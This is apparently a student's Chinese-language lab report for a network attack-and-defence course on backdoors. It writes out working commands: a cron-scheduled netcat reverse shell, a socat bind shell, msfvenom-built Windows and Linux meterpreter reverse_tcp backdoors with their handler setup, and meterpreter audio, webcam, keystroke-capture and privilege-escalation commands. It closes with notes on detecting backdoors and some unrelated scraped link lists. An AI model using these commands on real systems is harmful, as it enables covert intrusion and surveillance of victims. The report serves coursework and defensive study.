2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践

一、实验任务

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、实验步骤

1、使用netcat获取主机操作Shell,cron启动

在此任务中,我将kali作为受害机,MacOS系统作为攻击机

  • 在Mac终端中监听5315号端口,命令为nc -l 5315

  • 编辑一条定时任务,命令为crontab -e,选择vim.basic编辑器

  • 在编辑器中的最后一行加上06 * * * * /bin/netcat 10.0.0.165 5303 -e /bin/sh,使每个小时的第6分钟反向连接Mac主机的5315端口(我做实验正好是第5分钟,命令中IP地址为攻击机IP)

  • 1分钟后,3点06分时,攻击机获取了受害机的shell操作权,攻击成功

2、使用socat获取主机操作Shell, 任务计划启动

socat简介:

socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。

socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。

socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。

由于我的主机是MacOS系统,故没有按照老师的指导方法进行操作,具体操作参考自该博客

此项任务中我将MacOS系统作为受害机,Kali作为攻击机。

  • 在Mac命令行中下载socat,指令为brew install socat

  • 在受害机上执行socat tcp-l:5315 system:bash,pty,stderr指令,进行端口转发

  • 在攻击机中执行socat - tcp:10.1.1.165:5315,获取受害机shell操作权(命令中IP地址为受害机IP)

3、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

Meterpreter简介:

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。

Meterpreter shell作为渗透模块有很多有用的功能,比如打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

由于MacOS系统无法执行exe文件,故此任务我还是用了win7的虚拟机,按照老师的指导方法进行操作。

此项任务中我将Win7系统作为受害机,Kali作为攻击机。

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.188 LPORT=5315 -f exe > 20165315_backdoor.exe,生成后门程序“20155312_backdoor.exe”(命令中IP地址为攻击机IP)

  • 让受害机进入接收文件模式,指令为ncat -l 5315 > 20165315_backdoor.exe

  • 将生成的后门程序传送到Windows主机上,指令为nc 10.1.1.143 5315 < 20165315_backdoor.exe(命令中IP地址为受害机IP)

  • 在Kali中再打开一个终端,使用msfconsole指令进入msf控制台

  • 依次输入如下指令进行配置:
# use exploit/multi/handler
//使用监听模块,设置payload # set payload windows/meterpreter/reverse_tcp
//使用和生成后门程序时相同的payload # set LHOST 192.168.192.188
//这里用的是LinuxIP,和生成后门程序时指定的IP相同 # set LPORT 5315
//同样要使用相同的端口

  • 输入exploit开始监听

  • 在win7主机中运行后门程序,攻击机获取受害机Shell,指令为20165315_backdoor.exe

4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

在当前目录下可找到存储的音频文件:

  • 使用webcam_snap指令可以使用摄像头进行拍照

由于我的虚拟机是Win7系统,没有摄像功能,而主机又是MacOS系统,找了半天都没找到怎么开启摄像机...但是这个指令我已经明白如何使用,没有截图希望老师谅解~

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权,由于是Win7系统,提权失败

5、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

这一项任务还在尝试,如果做出来会有后期更新~

通过后期的尝试与参考这个博客,任务完成过程如下~

此项任务中我将Kali的终端1作为受害机,终端2作为攻击机(这是由于Windows系统无法执行pwn1文件)。

  • 通过MSF生成shellcode,并注入20165315pwn1,生成20165315_msf后门程序,指令为msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.196.190 LPORT=5315 -x /root/20165315/exp1/20165315pwn1 -f elf > 20165315_msf

  • 使用msfconsole控制台

  • 在另一个终端中,运行生成的20165315_msf文件,会发现控制台已获取该终端shell权限

三、实验中遇到的问题

在做任务三的时候,我本来想像任务二一样,在网上找一下针对mac的攻击教程,但是在运行到msf控制台时,发现执行exploit指令时,由于macOS系统无法执行exe文件,导致kali无法进行攻击(这说明macOS真的安全)

后来我查到一个博客,可以用msfvenom -p linux/x86/meterpreter/reverse_tcp lhost lport -f elf -o shell指令,虽然文件是生成了,但是...mac还是不能运行这个文件!太安全了导致实验做不了很难受了QAQ

解决过程:

大丈夫能屈能伸,我...最后还是选择了Win7虚拟机...如果有大神知道怎么攻击Mac麻烦在评论里指导我一下,蟹蟹!

四、实验总结

1、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

当朋友的QQ号被盗后,攻击者借QQ号向我发送自动下载恶意后门程序的链接,假称这是投票链接,如果我没有防范意识,直接点击链接,就会自动下载恶意程序,对电脑的安全造成很大的影响。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows可以使用任务计划,或者当在运行一个含有绑定后门程序的软件时,后门就可以被开启;linux可以使用cron定时触发,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的

(3)Meterpreter有哪些给你映像深刻的功能?

可以通过反向链接,获取所有执行了含后门的可执行文件的主机shell操作权,从而得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。

(4)如何发现自己有系统有没有被安装后门?

查看开机自启动项、任务计划程序中是否有可疑程序;安装专门的杀毒软件,实时防护;查看本机端口,判断是否有被异常开放的端口等等。

2、实验体会

这次实验趣味性很强,通过学习老师教程以及学长学姐的博客,基本都能够完成实验。在这次实验中,我学会了利用后门程序对主机进行注入攻击,学会了使用netcat、socat、meterpreter等,虽然内容简单,但我已经基本了解后门的基本原理。在今后的学习中,我将会进一步深入研究后门的各种理论知识。

本次实验也让我更加了解了一些网络攻击的手段,加强了网络安全防范意识。

2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. 刘志梅201771010115.《面向对象程序设计(java)》第十四周学习总结

    实验十四  Swing图形界面组件 实验时间 20178-11-29 1.实验目的与要求 (1)设计模式:反复使用.经过分类编目的.代码设计经验的总结. 在Alexander的模式分类和软件模式的分类 ...

  2. thingsboard填坑之路

    因为thingsboard都是国外的资料,国内基本没有参考资料.所以,记录下来源码安装当中,遇到的问题. thingsboard官网源码安装连接: https://thingsboard.io/doc ...

  3. 使用keil5,加断点调试后,停止运行的问题

    加上断点调试,执行到断点的时就出现程序停止运行的提示. 原因:是工程路径存放太深.

  4. 深入理解Java虚拟机读书笔记5----虚拟机字节码执行引擎

    五 虚拟机字节码执行引擎   1 运行时栈帧结构     ---栈帧是用于支持虚拟机进行方法调用和方法执行的数据结构,是虚拟机运行时数据区中的虚拟机栈的栈元素.     ---栈帧中存储了方法的局部变 ...

  5. drf框架之 路飞学城(第二天)

    1.第二天的项目是用户购物的数据存入到购物车中,这样保存的数据是存放在redis中 1. 首先先配置redis的数据库链接: #注意, 数据从redis中获取到的内容,最原始的是二进制形式的数据,想要 ...

  6. Java学习前的一些准备

    1.JDK - (Java SE Development Kit) JDK是Java开发所需要的环境,就跟我们想玩某个网游一样,玩之前一定是需要先安装相应的程序包的.那这个JDK就是我们准备登陆Jav ...

  7. python_练习04

    选课系统 角色:学校.学员.课程.讲师 要求: 1.创建北京.上海2所学校 2.创建linux.python.go3个课程,linux.python在北京开,go在上海开3.课程包含,周期,价格,通过 ...

  8. C# 字符串按 ASCII码 排序,注意其中的小坑

    https://www.cnblogs.com/similar/p/6739293.html 在和银行做数据对接时,涉及到数据传输时的验签及加密.其中数据签名方案中就要求数据项根据属性名按 ASCII ...

  9. Ymodem协议说明

      模块的固件烧录过程,由Term(发送方)发送固件文件,模块(接收方)接收并写入MCU,期间使用的数据传输协议是ymodem协议. 一.概述 ymodem协议是一种发送并等待的协议,即发送方发送一个 ...

  10. 1_translation_1

    It is always difficult to start describing a programming language because little details do not make ...